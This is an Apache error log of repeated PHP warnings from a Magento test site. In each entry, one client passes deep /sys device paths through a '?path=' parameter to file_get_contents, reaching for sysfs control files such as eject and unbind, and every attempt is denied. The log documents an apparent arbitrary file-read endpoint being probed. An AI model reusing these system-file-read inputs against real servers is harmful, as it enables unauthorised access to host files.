[Thu Mar 26 14:03:48.636998 2026] [php:warn] [pid 3216401] [client 74.7.241.26:41080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:6c/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:6c
[Thu Mar 26 14:04:39.489304 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58684] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:f6/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:f6
[Thu Mar 26 14:07:29.823927 2026] [php:warn] [pid 3216613] [client 74.7.241.26:51736] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:e8/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:e8
[Thu Mar 26 14:07:38.692581 2026] [php:warn] [pid 3216613] [client 74.7.241.26:51736] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:c4/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:c4
[Thu Mar 26 14:08:00.739299 2026] [php:warn] [pid 3106405] [client 74.7.241.26:34900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:2f/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:2f
[Thu Mar 26 14:08:35.801132 2026] [php:warn] [pid 3106405] [client 74.7.241.26:34900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:1a/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:1a
[Thu Mar 26 14:11:30.315636 2026] [php:warn] [pid 3216463] [client 74.7.241.26:60758] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:5b/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:5b
[Thu Mar 26 14:12:18.109846 2026] [php:warn] [pid 3107062] [client 74.7.241.26:32898] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:5c/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:5c
[Thu Mar 26 14:13:26.367490 2026] [php:warn] [pid 3216554] [client 74.7.241.26:57400] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:3a/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:3a
[Thu Mar 26 14:14:55.276420 2026] [php:warn] [pid 3106757] [client 74.7.241.26:50756] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:de/subsystem/devices/device:6d/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:de/subsystem/devices/device:6d
[Thu Mar 26 14:17:19.410572 2026] [php:warn] [pid 3216401] [client 74.7.241.26:41730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:aa
[Thu Mar 26 14:17:28.944102 2026] [php:warn] [pid 3216401] [client 74.7.241.26:41730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:4d/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:4d
[Thu Mar 26 14:17:29.972647 2026] [php:warn] [pid 3216401] [client 74.7.241.26:41730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:2a/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:2a
[Thu Mar 26 14:19:32.035761 2026] [php:warn] [pid 3107062] [client 74.7.241.26:50884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:6a/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:6a
[Thu Mar 26 14:19:52.920583 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53044] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:1d/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:1d
[Thu Mar 26 14:23:01.928896 2026] [php:warn] [pid 3216441] [client 74.7.241.26:54966] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:1d/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:1d
[Thu Mar 26 14:25:20.871493 2026] [php:warn] [pid 3106757] [client 74.7.241.26:49342] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:bb/physical_node/driver/remove_id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:bb/physical_node/driver
[Thu Mar 26 14:31:01.950524 2026] [php:warn] [pid 3216554] [client 74.7.241.26:46598] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:cf/device:d0/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:cf/device:d0
[Thu Mar 26 14:31:49.890435 2026] [php:warn] [pid 3216147] [client 74.7.241.26:60358] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:cf/physical_node/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:cf/physical_node/subsystem
[Thu Mar 26 14:31:53.599063 2026] [php:warn] [pid 3216147] [client 74.7.241.26:60358] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/drivers/button/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/drivers/button
[Thu Mar 26 14:35:00.339227 2026] [php:warn] [pid 3216463] [client 74.7.241.26:52572] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/drivers/ec
[Thu Mar 26 14:36:56.771790 2026] [php:warn] [pid 3230778] [client 74.7.241.26:33984] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:12/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:12
[Thu Mar 26 14:37:11.122709 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/drivers/tpm_crb/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/drivers/tpm_crb
[Thu Mar 26 14:37:12.264444 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/drivers/tpm_crb/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/drivers/tpm_crb
[Thu Mar 26 14:38:28.996533 2026] [php:warn] [pid 3107062] [client 74.7.241.26:40744] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:ee
[Thu Mar 26 14:38:36.415420 2026] [php:warn] [pid 3107062] [client 74.7.241.26:40744] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:be
[Thu Mar 26 14:40:08.532588 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ae
[Thu Mar 26 14:40:44.788152 2026] [php:warn] [pid 3216554] [client 74.7.241.26:50680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:dc
[Thu Mar 26 14:44:08.087687 2026] [php:warn] [pid 3106405] [client 74.7.241.26:45966] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:36/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:36
[Thu Mar 26 14:46:00.894417 2026] [php:warn] [pid 3106758] [client 74.7.241.26:51240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:cc
[Thu Mar 26 14:47:15.632198 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37350] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/drivers/nfit/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/drivers/nfit
[Thu Mar 26 14:47:34.793868 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37350] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/physical_node/firmware_node/device:ae/subsystem/devices/device:c4/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/physical_node/firmware_node/device:ae/subsystem/devices/device:c4
[Thu Mar 26 14:47:40.169658 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37350] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/physical_node/firmware_node/device:ae/subsystem/devices/device:0a/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/physical_node/firmware_node/device:ae/subsystem/devices/device:0a
[Thu Mar 26 14:47:40.656048 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37350] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/physical_node/firmware_node/device:ae/subsystem/devices/device:b4/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/physical_node/firmware_node/device:ae/subsystem/devices/device:b4
[Thu Mar 26 14:51:07.414598 2026] [php:warn] [pid 3216147] [client 74.7.241.26:38518] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/vmw_vmci/module/sections/.note.gnu.build-id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/vmw_vmci/module/sections
[Thu Mar 26 14:51:14.276908 2026] [php:warn] [pid 3216147] [client 74.7.241.26:38518] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/ahci/module/sections/.note.gnu.build-id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/ahci/module/sections
[Thu Mar 26 14:51:22.797272 2026] [php:warn] [pid 3216147] [client 74.7.241.26:38518] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:1a/subsystem/drivers/battery/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:1a/subsystem/drivers/battery
[Thu Mar 26 14:51:28.148720 2026] [php:warn] [pid 3216147] [client 74.7.241.26:38518] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:4d/subsystem/drivers/battery/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:4d/subsystem/drivers/battery
[Thu Mar 26 14:51:45.332390 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:6c/subsystem/drivers/battery/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:6c/subsystem/drivers/battery
[Thu Mar 26 14:51:51.725217 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:d9/subsystem/drivers/battery/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:d9/subsystem/drivers/battery
[Thu Mar 26 14:51:55.389330 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:1e/subsystem/drivers/battery/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:1e/subsystem/drivers/battery
[Thu Mar 26 14:51:55.869060 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:e2/subsystem/drivers/battery/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:e2/subsystem/drivers/battery
[Thu Mar 26 14:51:58.615384 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/drivers/ac
[Thu Mar 26 14:52:01.740009 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:be
